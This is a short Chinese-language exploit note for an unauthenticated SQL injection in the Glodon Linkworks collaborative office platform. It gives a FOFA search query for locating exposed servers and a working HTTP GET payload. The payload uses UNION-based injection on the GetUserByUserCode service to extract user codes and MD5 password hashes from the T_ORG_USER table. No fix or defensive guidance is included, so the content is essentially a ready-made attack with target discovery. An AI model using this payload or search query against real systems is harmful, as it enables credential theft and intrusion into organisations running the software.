G3-4广联达-Linkworks协同办公管理平台-SQL

漏洞描述：

广联达-Linkworks协同办公管理平台 GetUserByEmployeeCode、GetUserByUserCode、EmailAccountOrgUserService.asmx等接口处存在SQL注入漏洞，未经身份认证的攻击者可获取用户名密码等敏感信息。

网站图片:

网络测绘:

fofa语法：

body=“Services/Identification/login.ashx” || header=“Services/Identification/login.ashx” || banner=“Services/Identification/login.ashx”

漏洞复现:

payload：

GET /Org/service/Service.asmx/GetUserByUserCode?EncryptData=1&userCode=1%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20top%201%20concat(F_CODE,%27:%27,F_PWD_MD5)%20from%20T_ORG_USER),NULL,NULL--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0

效果图:
查询用户名密码

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